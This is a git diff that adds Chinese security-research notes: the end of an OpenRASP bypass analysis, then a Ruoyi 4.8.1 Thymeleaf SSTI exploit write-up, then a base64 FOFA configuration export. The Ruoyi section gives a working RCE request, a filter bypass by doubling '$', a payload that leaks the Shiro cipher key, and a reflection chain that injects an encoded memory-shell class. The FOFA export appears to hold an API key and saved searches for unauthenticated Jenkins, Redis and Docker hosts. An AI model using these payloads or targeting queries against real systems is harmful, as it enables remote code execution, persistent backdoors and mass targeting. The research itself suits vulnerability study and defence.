plugins/official/plugin.js 文件,表示官方插件。 + +找到 plugins/official/plugin.js 中针对 Jndi 的处理部分,或者说,针对 Java 的处理部分,主要在 validate\_stack\_java 方法中: + +![](https://changeyourway.github.io/images/image-20250710092617-n3e9hfs.png) + +根据栈上匹配到的类返回不同的信息。 + +有意思的是,它对 ysoserial.Pwner 、org.su18 、net.rebeyond.behinder 这种包名也做了匹配,并返回信息说明使用了工具: + +![](https://changeyourway.github.io/images/image-20250710092805-n0sec5z.png) + +## OpenRasp 绕过 + +这里只提出比较浅显的意见,我也只是纸上谈兵,同时结合了 Y4tacker 等前辈的一些观点。 + +OpenRasp 对各种漏洞类型都做了防护,防护措施同中存异,所以我们谈绕过,也应该分开的、逐个的来谈。 + +### 1、黑名单绕过 + +最容易想到的,实际情况下也是最难做到的,找出黑名单之外的类进行利用,常见于反序列化绕过: + +![](https://changeyourway.github.io/images/image-20250711231228-k38vhtx.png) + +这个名单看着就不太全的样子。 + +### 2、正则绕过 + +譬如命令执行这一块,最低级别的防护: + +![](https://changeyourway.github.io/images/image-20250711231432-emg9fru.png) + +对于 cat 命令就只拦截了 cat /etc/passwd 操作,cat 其他文件那是睁一只眼闭一只眼。或者就像 Y4tacker 师傅说的,cat 函数支持同时读多个文件,像这样操作:cat /abc/def /etc/passwd 。 + +### 3、业务逻辑绕过 + +举个例子,xxe 这块对其他协议直接拉黑,但对于 file:// 协议就只是记录日志: + +![](https://changeyourway.github.io/images/image-20250711232333-2vbeczb.png) + +为什么呢?可能有些正常业务它要用这个 file:// 协议。所以这就引出一个关键问题:RASP 在很底层,如果限制太多,可能正常程序都跑不起来。在兼容性要求下,RASP 就不能拦得太死。 + +在前面分析代码的时候,其实也遇到了这么一个地方:服务器的 cpu 使用率超过 90% ,以及云控注册成功之前,禁用全部 hook 点: + +![](https://changeyourway.github.io/images/image-20250711233005-xl9mfo9.png) + +这也是为业务让路的一种体现,Y4tacker 师傅专门为这个点写了示例程序,就不再赘述。 + +当前,前面提到的命令执行,除了正则过滤,还有一种模式是全部禁用: + +![](https://changeyourway.github.io/images/image-20250711234602-rqrtiqr.png) + +为什么要设置两种模式呢?低级别的防护用于兼容正常需要执行命令的系统,所以这也是一种体现。 + +### 4、覆盖文件 + +覆盖文件分为两种,一种是覆盖 js 插件文件,因为黑名单就写在插件文件里。并且我们可以看到 OpenRasp 中对于上传 html/js 文件是采取直接忽略的方式: + +![](https://changeyourway.github.io/images/image-20250711233738-5fgbhuk.png) + +还有一种思路就是直接覆盖 Rasp 的 jar 文件,Rasp 本质上还是 agent ,一般以 jar 文件形式生效,如果能够覆盖,那么可以直接禁掉 Rasp 。OpenRasp 中并没有对上传 jar 文件有拦截。但是可能需要服务器重启才能生效,且 Windows 下可能会因为文件正在运行,进程占用无法覆盖。 + +### 总结 + +以上几种方式,我认为利用第三种方式是最可能的,就像先前说的,RASP 处在很底层,真正要布置到实际环境中一定要考虑对程序的兼容性,不能影响程序自身的逻辑,为此,要么降低黑名单强度,要么为程序设计定制化的 RASP ,如此便削弱了其防护能力。 + +记得某人曾说,许多安全问题的产生都是由于要为业务让路,在这里我们也能看到同样的体现。 + +‍ + +## 参考文章 + +[https://www.cnblogs.com/lccsetsun/p/14000936.html](https://www.cnblogs.com/lccsetsun/p/14000936.html) + +[https://stoocea.github.io/post/Rasp%E5%88%86%E6%9E%90%5B1%5D-%E7%AE%80%E5%8D%95%E6%9C%BA%E5%88%B6%E5%AD%A6%E4%B9%A0.html](https://stoocea.github.io/post/Rasp%E5%88%86%E6%9E%90%5B1%5D-%E7%AE%80%E5%8D%95%E6%9C%BA%E5%88%B6%E5%AD%A6%E4%B9%A0.html) + +[https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90](https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90) + +‍ diff --git a/books/Ruoyi SSTI 与 Thymeleaf bypass深探.md b/books/Ruoyi SSTI 与 Thymeleaf bypass深探.md new file mode 100644 index 0000000..8fb9989 --- /dev/null +++ b/books/Ruoyi SSTI 与 Thymeleaf bypass深探.md @@ -0,0 +1,312 @@ +# Ruoyi SSTI 与 Thymeleaf bypass深探 +> 来源:https://xz.aliyun.com/news/92461 + +### 环境搭建 + + +Ruoyi 4.8.1 + + +### 漏洞点 + + +在 Ruoyi 4.8.1 的 `src/main/java/com/ruoyi/web/controller/monitor/CacheController.java` 中有如下代码。 + +其在三个接口中使用了片段表达式,这将允许攻击者构造恶意SPEL表达式发送到后端进行攻击。 + + +```java +@Controller +@RequestMapping("/monitor/cache") +public class CacheController extends BaseController { + private String prefix = "monitor/cache"; + + @Autowired + private CacheService cacheService; + + @RequiresPermissions("monitor:cache:view") + @GetMapping() + public String cache(ModelMap mmap) { + mmap.put("cacheNames", cacheService.getCacheNames()); + return prefix + "/cache"; + } + + @RequiresPermissions("monitor:cache:view") + @PostMapping("/getNames") + public String getCacheNames(String fragment, ModelMap mmap) { + mmap.put("cacheNames", cacheService.getCacheNames()); + return prefix + "/cache::" + fragment; + } + + @RequiresPermissions("monitor:cache:view") + @PostMapping("/getKeys") + public String getCacheKeys(String fragment, String cacheName, ModelMap mmap) { + mmap.put("cacheName", cacheName); + mmap.put("cacheKeys", cacheService.getCacheKeys(cacheName)); + return prefix + "/cache::" + fragment; + } + + @RequiresPermissions("monitor:cache:view") + @PostMapping("/getValue") + public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap) { + mmap.put("cacheName", cacheName); + mmap.put("cacheKey", cacheKey); + mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey)); + return prefix + "/cache::" + fragment; + } + + ...... +} +``` + +### 漏洞复现 + + + +```http +POST /monitor/cache/getNames HTTP/1.1 +Host: 127.0.0.1 +Accept: text/javascript, */*; q=0.01 +Sec-Fetch-Mode: cors +sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99" +X-Requested-With: XMLHttpRequest +Sec-Fetch-Site: same-origin +Accept-Language: zh-CN,zh;q=0.9 +X-CSRF-Token: JxbJuBkF+1WQAMT3u9i/sqsagEKm7GsXWD+mebzkmhs= +Cookie: JSESSIONID=1914f9e3-c29c-4946-9c06-da7f9b492a7c +sec-ch-ua-platform: "Windows" +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Sec-Fetch-Dest: empty +Origin: http://127.0.0.1 +Referer: http://127.0.0.1/monitor/job +Accept-Encoding: gzip, deflate, br, zstd +sec-ch-ua-mobile: ?0 +Content-Length: 372 + +fragment=__%7C$$%7B#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null).getClass.getMethods.?%5Bname=='exec'%5D%5B1%5D.invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null),'open%20-a%20Calculator'))%7D%7C__ +``` + +### 防御措施 + + +在 `SpringRequestUtils#containsExpression` 中,存在用于检测字符串是否包含 Thymeleaf 表达式入口的逻辑。该函数通过线性扫描识别 `${...}、{...}、#{...}、@{...}、~{...}` 等表达式形式。当扫描到 `$、#、@、~` 等表达式起始符后,会将状态标记为 `expInit=true`,并继续判断后续字符是否为 `{`。 + +但该实现没有正确处理重叠匹配场景。当 `expInit=true` 时,如果当前字符既不是 `{`,也不是空白字符,函数会直接将 `expInit` 重置为 `false`,并继续向后扫描;此时它不会重新判断当前字符本身是否同样可以作为新的表达式起始符。因此,在 `$${...}、##{...}、@@{...}` 等双写或相邻表达式起始符组合场景下,第二个起始符会被当作前一次匹配失败的普通字符消费掉,导致后续的 `{...}` 无法被该函数识别为合法表达式入口。 + + +```java +private static boolean containsExpression(final String text) { + final int textLen = text.length(); + char c; + boolean expInit = false; + for (int i = 0; i < textLen; i++) { + c = text.charAt(i); + if (!expInit) { + if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { + expInit = true; + } + } else { + if (c == '{') { + return true; + } else if (!Character.isWhitespace(c)) { + expInit = false; + } + } + } + return false; +} +``` + +在 `SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam` 方法中,其用于检测是否存在对象实例化和静态类/方法访问的情况,例如 `new SomeClass(...)` 还有 `T(SomeClass)` 这类型字符串。 + + +```java +public static boolean containsSpELInstantiationOrStaticOrParam(final String expression) { + + /* + * Checks whether the expression contains instantiation of objects + * ("new SomeClass") or makes use of + * static methods ("T(SomeClass)") as both are forbidden in certain contexts in + * restricted mode. + */ + + final int explen = expression.length(); + int n = explen; + int ni = 0; // index for computing position in the NEW_ARRAY + int pi = 0; // index for computing position in the PARAM_ARRAY + char c; + while (n-- != 0) { + + c = expression.charAt(n); + + // When checking for the "new" keyword, we need to identify that it is not a + // part of a larger + // identifier, i.e. there is whitespace after it and no character that might be + // a part of an + // identifier before it. + if (ni < NEW_LEN + && c == NEW_ARRAY[ni] + && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) { + ni++; + if (ni == NEW_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) { + return true; // we found an object instantiation + } + continue; + } + + if (ni > 0) { + // We 'restart' the matching counter just in case we had a partial match + n += ni; + ni = 0; + continue; + } + + ni = 0; + + // When checking for the "param" keyword, we need to identify that it is not a + // part of a larger + // identifier. + if (pi < PARAM_LEN + && c == PARAM_ARRAY[pi] + && (pi > 0 || ((n + 1 < explen) && !isSafeIdentifierChar(expression.charAt(n + 1))))) { + pi++; + if (pi == PARAM_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) { + return true; // we found a param access + } + continue; + } + + if (pi > 0) { + // We 'restart' the matching counter just in case we had a partial match + n += pi; + pi = 0; + continue; + } + + pi = 0; + + if (c == '(' && ((n - 1 >= 0) && isPreviousStaticMarker(expression, n))) { + return true; + } + + } + + return false; + +} +``` + +### 绕过方式 + + +我们首先来分析网上已公开的打法,以Ruoyi 4.8.1为例,通过回显ShiroKey,完成RCE。 + + +![image.png](https://i.im.ge/QMfXy4S/p2m-0c04f3f306.png) + + + +我们来看Payload,`__...__` 是Thymeleaf中的表达式预处理机制,它的核心作用是: + +先执行 `__...__` 中的表达式,把结果替换回原位置,然后再让 Thymeleaf 按正常表达式继续解析。 + +而 `|...|` 则是Thymeleaf的字面量替换语法,它的作用是: + +把中间内容当作一个字符串模板处理,里面可以嵌入 `${...}、#{...}、@{...}` 等表达式。 + + +#### Thymeleaf的字面量替换处理机制 + + +这里我们通过双写 `$` 来绕过 `SpringRequestUtils#containsExpression` 的限制。但我们可以深入研究一下双写绕过后,Thymeleaf是如何处理双写表达式的。 + +在Thymeleaf的 `ExpressionParsingUtil#performLiteralSubstitution` 中,单独的 `$` 仅会被视为字符,而 `${}` 则会被视为表达式。 + + +![image.png](https://i.im.ge/QMfXEt6/p2m-8d91319289.png) + + + +因而Payload将会被解析为: + + +``` +'$' + ${#response.getWriter().print(''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))} +``` + +![image.png](https://i.im.ge/QMfXxzF/p2m-1ceef69162.png) + + + +随后进入之后的解析中,值得注意的是,相同的表达式在第一次解析之后将会被缓存,相同的请求在后续过程中将不会触发断点。 + + +#### 绕过实例化检查 + + +结合上文我们知道,`SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam` 方法修复了 Thymeleaf 3.0.12 版本中通过 `T (SomeClass)` 加空格的方式绕过检查的方式。且我们无法通过 `New` 的方式实例化对象。因而我们可以通过反射的方式来获得类并调用方法。基础的打法上文已经写了,下面我尝试研究了一下如何通过构造反射链的方式来直接注入内存马。 + + +#### 构造反射链并注入内存马 + + +我们先通过 MemShellParty生成一个适合 SPEL注入的内存马。在 Payload 中,我们已无法通过 `T(SomeClass)` 获得类实例,但获得类实例不是我们的主要问题。 + + +![32e1a423-bbb6-45ff-9171-d278ac188cfc.png](https://i.im.ge/QMfXYFK/p2m-7ff341e3d1.png) + + + +我们的主要问题是如何构造出符合方法签名的参数,对于静态方法我们通过 `Method.invoke(null)` 调用即可,但我们的内存马 Payload 中用到了 `java.util.zip.GZIPInputStream` ,其需要一个 `java.io.ByteArrayInputStream` 进行初始化。正常来想,我们获得类后直接通过构造方法构造一个出来不就行了么?但是不行,因为`java.io.ByteArrayInputStream` 需求一个 `Object[]` 对象,其第一个元素需要是 `decodeFromString` 返回的 `byte[]` 数组。 + +经过尝试,我们发现在一个 `fragment` 中可以嵌套多个表达式语句,其共享一个上下文,可以在其中自定义注册变量与复制,其就可以直接解决问题。 + + +![image.png](https://i.im.ge/QMfXCqz/p2m-ffd3a8fdc2.png) + + + + +![image.png](https://i.im.ge/QMfXbj9/p2m-b98dc9d6f1.png) + + + +我们将MemshellParty的注入语义转化为反射链条即可完成注入。 + + +```java +# 定义Object[] +*${#a=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.lang.Object'),1)}, + +# 设置decodeFromString返回的byte[]数组为Object[]的第一个元素 +*${#a[0]=''.getClass().forName('org.springframework.util.Base64Utils').getMethods.?[name=='decodeFromString'][0].invoke(null,'H4sIAAAAAAAA%2F6V4CZwb13nf97hYAlyurl3R0lqWRCuWTe5wCWBxryRbuO9zcNOyPQAGA2AGM4OZwZlYiePYzmknTZuGOXuljHrScrukwsSSE0duc%2FVI3cPpfbepkqZXalkW%2Bz0Au9wl10fb%2FWHneO973%2Fn%2Fvve9%2BY23f%2BnzAOAkP0pgS9EEa28odw1rv80mh9ZIV%2BJLRlfSzUAIPNjjRpxV4mTBmm30%2BKZhhhUCK31dILCRujPJGlpXFp4hcEoRCZA6gXWBN4ISp%2BsZrs8TePjCxZPI3Sj%2BMqdyzQ5%2FuWMY6uUx37jc4eSWxGv65f4gpSQv%2B4dGJ8GJnGZwqa5u8DKvWeAsgQdQQoDTebdzwY6sqTGnHvcv%2F6xOe8Vn9zZcE9k6EnvKJBhlK3F3a5p2Cs1KPBUv%2B7meTxPUcLg28XXiHOuIRTIZuxzx5IVGt%2BixuQSbVlSrw363664bQ2Ma1rRirZH3xnt8xqbGKm6bGh22ku1ZihFGXCsnj4rDaD7o6ccZV2tmFRivY7fNDJmeaxzSx5q35uv0%2BqWwoiYrg4A6HuxWS4OM1xkp5VuxWaHi4gataDHX5ArlcLue6kwqhU6xWJYV25SpuTPT0rgjOkJTtcsmu5q7lBzMBpFOpeeOiZNy1F9rD8cFFzMdhqSKK1YbuJz2GNMUpwYzkdKNUnpcSE3SYsEj6VWpEckVOz6lrhldX9PRYmZTN9Ni2oLWGJXbjfY4nVVqLn%2B82tdSyWSyHXFwbE%2BtZONuR60WrtXdHmvQWerOilxLaM4Ux2ykxYbpoEsOZh3VVnqXkdlwvjFT%2BHG%2BHq7n2YlYiaRGSX6Q5m38LlsPGKo47nc8TENNdpOlqhFTXXLXP%2BKtuy3DPul04jYxHXXx5VhwWJtowrSUzbNGL6APx%2FlEeODq7IZCYU9TmXU6o16R1wUubhWy0njktCu29HBSK%2FKjqLUQ8CVVUXQEOoFcM2EfpCOZUKwiMvWQVhHUUTu6O%2B4b9WGh4W9lmcEk1A7HU6N0OMF2%2BwNGFBNBKT8YxBrdQb2Y6E%2BNYLgeSFfTQTHpmfoGtWK4ke8muHTEmAX0WCdR0%2BrJTsU6FbjaeJjl8kGHZAuN7VN7kgm5KpNYs6vapkJLjeTLs3ay7uwGq7ri8o2VSqLed%2FvHjnI1Zg323dWuXDQmRU%2Bn2%2BOSSm0oNqKjiD0YiyT7bElUir6yvz1pdK2NhtqaRO2eYDwn1yNiLZb3pqeid5RnS1IzqWYnvFuv8U6532IiQi7vEYpSuD%2BSpU4rkq1LufKkNJUizXRxVhz7OnpxEhrrwlSPxWspp93vFRNuKRmZ5Nq6FItm45XMbKgHZdG%2FW2mwciYmsezAr06azc7U52sIjdSUL2Y96rRWn42TjFRieyWZ1biC2ygkA61IpirGpKI7ptq79oZSnXS4lKooA083UWG8wQFT8ZYG3s4w5g4KSW0SqQwSvqro64QZkcuWO%2F7INMpKyaKv1wyrEc0t%2BmKiv1ntF%2BV4M1Lx5uz2iF4YtQRhXI72oolytxAfzuzJrtuQSp60XBoUw4mCPVDi%2FXVfSRsNIj53hUkwyVCpJ7HOXEhOFl0e2yytR%2FwsX6yx3CDj7uXZVKhdYzVXzOYVrWUvp0l9W702S%2Bi9SC4d6LApj0%2ByC0kjKg8FR9malfWYLehzdtI8a5dYw%2BkcZKWk2ErGR1k%2FPxLco4ir0SzbYx6735%2FoKHlHqe8uuti6PRv1aRlWHUn2oC9aYQpelvNKFSffFAXZlzeYqeQpaAGpG6mNNcYhhBvepgcB7QmUJgNXu%2BzKicKwGe17hVjZoe2G%2B4bc7uVqqd4oP61qs0HJG3OyijU3cVVZLZByleoTqz%2BwW047xX + +# 创建 ByteArrayInputStream 实例,传递 Object[] 作为新建的内容 +*${#x=''.getClass().forName('java.io.ByteArrayInputStream').getConstructor(''.getClass().forName('[B')).newInstance(#a)}, + +# 创建 GZIPInputStream 实例,传递 ByteArrayInputStream 作为新建的内容 +*${#g=''.getClass().forName('java.util.zip.GZIPInputStream').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(#x)}, + +# 创建 URL 数组实例 +*${#c=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.net.URL'),0)}, + +# 获得当前线程对象 +*${#v=''.getClass().forName('java.lang.Thread').getMethods.?[name=='currentThread'][0].invoke(null)}, + +# 创建URLClassLoader实例 +*${#b=''.getClass().forName('java.net.URLClassLoader').getConstructor(''.getClass().forName('[Ljava.net.URL;'),''.getClass().forName('java.lang.ClassLoader')).newInstance(#c,#v.getClass().getMethods.?[name=='getContextClassLoader'][0].invoke(#v))}, + +# 创建StreamUtils实例 +*${#s=''.getClass().forName('org.springframework.util.StreamUtils').getMethods.?[name=='copyToByteArray'][0].invoke(null,#g)}, + +*${''.getClass().forName('org.springframework.cglib.core.ReflectUtils').getMethods.?[name=='defineClass'][1].invoke(null, 'Chat',#s,#b).newInstance()} +``` + +![image.png](https://i.im.ge/QMfXcWX/p2m-4a0e52e61a.png) + + + +值得一提的是,该漏洞在Ruoyi 4.8.2 中同样存在,在 4.8.3 中得到修复。 + +在调试过程中,不同版本的JDK通过getMethods返回的数组顺序可能会不同,需要使用合适的方法签名才能调用正确的方法完成注入。 diff --git a/books/fofa_config_2026-08-08T05-39-43.txt b/books/fofa_config_2026-08-08T05-39-43.txt new file mode 100644 index 0000000..599bf3f --- /dev/null +++ b/books/fofa_config_2026-08-08T05-39-43.txt @@ -0,0 +1 @@ +eyJ2ZXJzaW9uIjoyLCJleHBvcnRUaW1lIjoiMjAyNi0wOC0wOFQwNTozOTo0My4xNzZaIiwiZGF0YSI6eyJhcGlLZXkiOiIyZmU1YjcwZWYxN2ZkOTk3NmUyZTMxYWRiMGE5Y2Y3OSIsInNlYXJjaEhpc3RvcnkiOiJbe1wicXVlcnlcIjpcImhlYWRlcj1cXFwiREtFWUpTRVNTSU9OSUQ9XFxcIiB8fCBib2R5PVxcXCIvYW0vYXBpL2FkbWluTG9naW4vYWN0aXZhdGVcXFwiIHx8IHRpdGxlPT1cXFwiQU0gUGFnZVxcXCJcIixcInRpbWVcIjpcIjIwMjYtMDgtMDhUMDU6Mzg6NTAuMTcwWlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOm51bGx9LHtcInF1ZXJ5XCI6XCJoZWFkZXI9XFxcIkRLRVlKU0VTU0lPTklEPVxcXCIgfHwgYm9keT1cXFwiL2FtL2FwaS9hZG1pbkxvZ2luL2FjdGl2YXRlXFxcIlwiLFwidGltZVwiOlwiMjAyNi0wOC0wOFQwNTozODo0NC42MTlaXCIsXCJjb3VudFwiOjAsXCJmaWx0ZXJzXCI6bnVsbH0se1wicXVlcnlcIjpcImhlYWRlcj1cXFwiREtFWUpTRVNTSU9OSUQ9XFxcIlwiLFwidGltZVwiOlwiMjAyNi0wOC0wOFQwNTozNzoyMS40MDFaXCIsXCJjb3VudFwiOjAsXCJmaWx0ZXJzXCI6bnVsbH0se1wicXVlcnlcIjpcImFwcD1cXFwibGl0ZWxsbVxcXCJcIixcInRpbWVcIjpcIjIwMjYtMDctMzFUMTI6MzU6MTYuMDc1WlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOm51bGx9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIkpFTktJTlNcXFwiICYmIHRpdGxlPT1cXFwiRGFzaGJvYXJkIFtKZW5raW5zXVxcXCJcIixcInRpbWVcIjpcIjIwMjYtMDctMzFUMTI6MzU6MDUuNDYyWlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOm51bGx9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIumHkeWSjOe9kee7nC3ph5HlkoxPQVxcXCJcIixcInRpbWVcIjpcIjIwMjYtMDctMzFUMTI6MzQ6NTguNDI0WlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOntcImlzX2RvbWFpbl9mYWxzZVwiOntcImZpbHRlclwiOlwiaXNfZG9tYWluXCIsXCJ2YWx1ZVwiOlwiZmFsc2VcIn0sXCJwb3J0XCI6e1wiZmlsdGVyXCI6XCJwb3J0XCIsXCJjb25kaXRpb25zXCI6W3tcImNpZFwiOlwiY21zOHdrY284XzFcIixcIm9wZXJhdG9yXCI6XCI9XCIsXCJ2YWx1ZVwiOlwiODBcIn0se1wiY2lkXCI6XCJjbXM4d2tlczVfMlwiLFwib3BlcmF0b3JcIjpcIj1cIixcInZhbHVlXCI6XCI4MDg4XCJ9LHtcImNpZFwiOlwiY21zOHdrdTMyXzNcIixcIm9wZXJhdG9yXCI6XCI9XCIsXCJ2YWx1ZVwiOlwiODg5OVwifSx7XCJjaWRcIjpcImNtczh3a3hpOF80XCIsXCJvcGVyYXRvclwiOlwiIT1cIixcInZhbHVlXCI6XCI0NDNcIn1dfX19LHtcInF1ZXJ5XCI6XCIoYXBwPVxcXCLph5HlkoznvZHnu5wt6YeR5ZKMT0FcXFwiKSYmIGlzX2RvbWFpbj1mYWxzZSAmJihwb3J0PVxcXCI4MFxcXCIgfHwgcG9ydD1cXFwiODA4OFxcXCIgfHwgcG9ydD1cXFwiODg5OVxcXCIpJiYgcG9ydCE9XFxcIjQ0M1xcXCJcIixcInRpbWVcIjpcIjIwMjYtMDctMzFUMTI6MTg6MzUuNjczWlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOm51bGx9LHtcInF1ZXJ5XCI6XCJwcm90b2NvbD1cXFwiTW9uZ29EQlxcXCJcIixcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MjQuNzA5WlwiLFwiY291bnRcIjowLFwiZmlsdGVyc1wiOm51bGx9XSIsInNlbGVjdGVkRmllbGRzIjoiW10iLCJ1c2VDYWNoZSI6InRydWUiLCJjYWNoZVRpbWVWYWx1ZSI6IjEiLCJjYWNoZVRpbWVVbml0IjoiZGF5cyIsInBhZ2VTaXplIjoiMTAwIiwiZGF0YVJhbmdlIjoiZGVmYXVsdCIsImFjdGl2ZUZpbHRlcnMiOiJ7fSIsImV4cG9ydEluY2x1ZGVRdWVyeSI6InRydWUiLCJwcm94eUVuYWJsZWQiOiJ0cnVlIiwicHJveHlIb3N0IjoiIiwicHJveHlQb3J0IjoiIiwicHJveHlVc2VybmFtZSI6IiIsInByb3h5UGFzc3dvcmQiOiIiLCJ1c2VyQWdlbnQiOiIiLCJjdXN0b21IZWFkZXJzIjoie30iLCJmYXZvcml0ZXMiOiJbe1wicXVlcnlcIjpcImhlYWRlcj1cXFwiREtFWUpTRVNTSU9OSUQ9XFxcIiB8fCBib2R5PVxcXCIvYW0vYXBpL2FkbWluTG9naW4vYWN0aXZhdGVcXFwiIHx8IHRpdGxlPT1cXFwiQU0gUGFnZVxcXCJcIixcImJhc2VRdWVyeVwiOlwiaGVhZGVyPVxcXCJES0VZSlNFU1NJT05JRD1cXFwiIHx8IGJvZHk9XFxcIi9hbS9hcGkvYWRtaW5Mb2dpbi9hY3RpdmF0ZVxcXCIgfHwgdGl0bGU9PVxcXCJBTSBQYWdlXFxcIlwiLFwibmFtZVwiOlwi5a6B55u+5LiA5L2T5YyW5a6J5YWo6K6k6K+B5bmz5Y+wXCIsXCJ0YWdzXCI6W1wi55So5oi3XCJdLFwiZmlsdGVyc1wiOnt9LFwidGltZVwiOlwiMjAyNi0wOC0wOFQwNTozODo1NC4wMzlaXCJ9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIumHkeWSjOe9kee7nC3ph5HlkoxPQVxcXCJcIixcImJhc2VRdWVyeVwiOlwiYXBwPVxcXCLph5HlkoznvZHnu5wt6YeR5ZKMT0FcXFwiXCIsXCJuYW1lXCI6XCLph5HlkoxPQVwiLFwidGFnc1wiOltcIueUqOaIt1wiLFwib2FcIl0sXCJmaWx0ZXJzXCI6e30sXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDEzOjIwOjU3LjMxN1pcIn0se1wicXVlcnlcIjpcImFwcD1cXFwiSkVOS0lOU1xcXCIgJiYgdGl0bGU9PVxcXCJEYXNoYm9hcmQgW0plbmtpbnNdXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJhcHA9XFxcIkpFTktJTlNcXFwiICYmIHRpdGxlPT1cXFwiRGFzaGJvYXJkIFtKZW5raW5zXVxcXCJcIixcIm5hbWVcIjpcIkplbmtpbnMg5pyq5o6I5p2DXCIsXCJ0YWdzXCI6W1wiamVua2luc1wiLFwidW5hdXRoXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCIoYm9keT1cXFwiaXB5dGhvbi1tYWluLWFwcFxcXCIgJiYgdGl0bGU9XFxcIkhvbWUgUGFnZSAtIFNlbGVjdCBvciBjcmVhdGUgYSBub3RlYm9va1xcXCIpXCIsXCJiYXNlUXVlcnlcIjpcIihib2R5PVxcXCJpcHl0aG9uLW1haW4tYXBwXFxcIiAmJiB0aXRsZT1cXFwiSG9tZSBQYWdlIC0gU2VsZWN0IG9yIGNyZWF0ZSBhIG5vdGVib29rXFxcIilcIixcIm5hbWVcIjpcIkp1cHl0ZXIg5pyq5o6I5p2DXCIsXCJ0YWdzXCI6W1wianVweXRlclwiLFwidW5hdXRoXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJwcm90b2NvbD1cXFwicmVkaXNcXFwiICYmIGJhbm5lciE9XFxcIk5PQVVUSCBBdXRoZW50aWNhdGlvbiByZXF1aXJlZC5cXFwiXCIsXCJiYXNlUXVlcnlcIjpcInByb3RvY29sPVxcXCJyZWRpc1xcXCIgJiYgYmFubmVyIT1cXFwiTk9BVVRIIEF1dGhlbnRpY2F0aW9uIHJlcXVpcmVkLlxcXCJcIixcIm5hbWVcIjpcIlJlZGlzIOacquaOiOadg1wiLFwidGFnc1wiOltcInJlZGlzXCIsXCJ1bmF1dGhcIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcInByb3RvY29sPVxcXCJNb25nb0RCXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJwcm90b2NvbD1cXFwiTW9uZ29EQlxcXCJcIixcIm5hbWVcIjpcIk1vbmdvREJcIixcInRhZ3NcIjpbXCJtb25nb2RiXCIsXCJkYlwiLFwidW5hdXRoXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIk1FTUNBQ0hFRFxcXCJcIixcImJhc2VRdWVyeVwiOlwiYXBwPVxcXCJNRU1DQUNIRURcXFwiXCIsXCJuYW1lXCI6XCJtZW1jYWNoZWRcIixcInRhZ3NcIjpbXCJtZW1jYWNoZWRcIixcInVuYXV0aFwiXSxcImZpbHRlcnNcIjpudWxsLFwidGltZVwiOlwiMjAyNi0wNy0yOVQxMTowNTowNi4wMzBaXCIsXCJzeXN0ZW1cIjp0cnVlfSx7XCJxdWVyeVwiOlwiYXBwPVxcXCJWTkNcXFwiXCIsXCJiYXNlUXVlcnlcIjpcImFwcD1cXFwiVk5DXFxcIlwiLFwibmFtZVwiOlwiVk5DXCIsXCJ0YWdzXCI6W1widm5jXCIsXCJ1bmF1dGhcIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcInByb3RvY29sPT1cXFwiZG9ja2VyXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJwcm90b2NvbD09XFxcImRvY2tlclxcXCJcIixcIm5hbWVcIjpcImRvY2tlclwiLFwidGFnc1wiOltcImRvY2tlclwiLFwidW5hdXRoXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwi